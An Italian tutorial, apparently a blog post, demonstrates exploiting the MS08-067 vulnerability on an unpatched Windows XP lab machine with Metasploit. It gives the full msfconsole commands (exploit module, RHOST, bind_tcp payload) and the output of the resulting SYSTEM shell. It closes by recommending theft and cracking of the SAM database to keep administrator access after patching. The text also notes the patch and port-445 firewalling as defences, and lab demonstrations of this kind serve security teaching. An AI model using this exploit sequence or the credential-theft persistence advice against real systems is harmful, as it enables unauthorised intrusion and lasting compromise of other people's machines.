Anche se l’argomento di seguito è stato largamente esposto dal blog www.pillolhacking.net posso garantire che l’anomalia che affligge Windows XP è ancora attuale. Questo accade perchè ancora molti sistemi non sono stati pachati ovvero non hanno effettuato i necessari update.
In questo tutorial perciò viene dimostrato come sia possibile attaccare un sistema Windows vulnerabile a questo bug.
L’attacco per avere successo si devono presentare le seguenti condizioni:
- Il computer non deve essere patchato contro la vulnerabilità MS08-067
- Il computer deve permettere connessioni in entrata sulla porta 445
Se queste due condizioni non sono presenti il sistema si può considerare sicuro. Per essere sicuri di essere invulnerabili a questo attacco installare la patch MS08-067; in alternativa inibire l’accesso alla porta 445 tramite firewall.
L’attacco viene portato utilizzando il Metasploit Framework. Come piattaforma si può utilizzare Back|Track 5, una distribuzione Linux appositamente studiata per i penetration test.
Preparazione dell’attacco
Con il comando ifconfig mi sincero del mio indirizzo ip:
bt framework # ifconfig eth0 Link encap:Ethernet HWaddr 00:0C:29:AC:13:6D inet addr:192.168.132.129 Bcast:192.168.132.255 Mask:255.255.255.0 UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:5909 errors:0 dropped:0 overruns:0 frame:0 TX packets:5390 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:8686599 (8.2 MiB) TX bytes:322667 (315.1 KiB) Interrupt:18 Base address:0x1080
Come si vede il mio indirizzo è 192.168.132.129. La macchina target, quella che andrò ad attaccare è un Windows XP Pro vulnerabile a questo attacco e con la porta 445 accessibile. Il suo indirizzo è 192.168.132.128. Entrambe le macchine sono virtuali, emulate su VMWare.
Metasploit Framework dispone di diverse interfacce: quella che prediligo è msfconsole, ed è quella che utilizzerò in questo tutorial. Per accedere a msfconsole basta digitare il comando sulla linea di comando per entrare nel prompt msf:
bt framework3 # msfconsole =[ msf v3.3-dev + -- --=[ 294 exploits - 124 payloads + -- --=[ 17 encoders - 6 nops =[ 58 aux
Per visualizzare la lista degli exploit disponibili uso il comando show exploits; di seguito mostro uno stralcio, dove viene visualizzato quello che mi interessa:
msf > show exploits
Exploits ======== Name Description ---- ----------- windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll <strong>windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption</strong> windows/smb/msdns_zonename Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB) windows/smb/psexec Microsoft Windows Authenticated User Code Execution
Ho trovato l’exploit: decido di impiegarlo:
msf > use windows/smb/ms08_067_netapi
visualizzo la lista delle opzioni:
msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting
Ci sono tre parametri obbligatori: RHOST (l’indirizzo del target), la porta Tcp (445) e il servizio da sfruttare come vettore (BROWSER); lascio gli ultimi due di default e inserisco l’Ip del computer che voglio attaccare:
msf exploit(ms08_067_netapi) > set RHOST 192.168.132.128 RHOST => 192.168.132.128
Il target non va specificato, in quanto viene selezionato automaticamente (Automatic Targeting)
Ora devo decidere cosa fare se l’exploit va a buon fine. Metasploit mette a disposizione diversi payloads, ovvero diverse opzioni dalla semplice shell su porta Tcp, alla connessione inversa, al server VNC. In questo caso scelgo la shell su port Tcp, scelta classica:
msf exploit(ms08_067_netapi) > show payloads Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) ... windows/shell/bind_tcp Windows Command Shell, Bind TCP Stager windows/shell/reverse_ipv6_tcp Windows Command Shell, Reverse TCP Stager (IPv6) ... msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp PAYLOAD => windows/shell/bind_tcp
Ecco fatto: l’exploit è configurato. Ho scelto l’exploit ms08_067 che colpisce Windows senza l’aggiornamento relativo; ho settato l’indirizzo del target da attaccare ovvero RHOST 192.168.132.128; infine ho scelto il payload bind_tcp: se l’exploit andrà a buon fine potrò collegarmi (lo farà automaticamente) con una shell Windows su una porta Tcp della macchina remota. Decido di non cambiare la porta Tcp e lasciare il valore di default: 4444.
A questo punto non resta che lanciare l’attacco, con il comando exploit:
msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:Italian [*] Selected Target: Windows XP SP0/SP1 Universal [*] Triggering the vulnerability... [*] Sending stage (474 bytes) [*] Command shell session 1 opened (192.168.132.129:55761 -> 192.168.132.128:4444) Microsoft Windows XP [Versione 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>ipconfig ipconfig Configurazione IP di Windows Scheda Ethernet Connessione alla rete locale (LAN): Suffisso DNS specifico per connessione: localdomain Indirizzo IP. . . . . . . . . . . . . : 192.168.132.128 Subnet mask . . . . . . . . . . . . . : 255.255.255.0 Gateway predefinito . . . . . . . . . : 192.168.132.2
Come si vede l’attacco è andato a segno. Tramite la vulnerabilità Metasploit ha inviato un payload con una shellcode in grado di aprire la porta Tcp 4444 sulla macchina Windows e mi ha permesso di collegarmi ad una shell dei comandi.
A questo punto ho l’accesso completo con privilegi SYSTEM. Si può fare qualsiasi cosa.
Accesso completo senza dover conoscere nessuna password. Ora si preleva il SAM database e si cracca comodamente per poter rientrare in seguito con l’account di amministratore, senza dover rifare l’attacco: se il bug verrà patchato avrò comunque l’accesso garantito.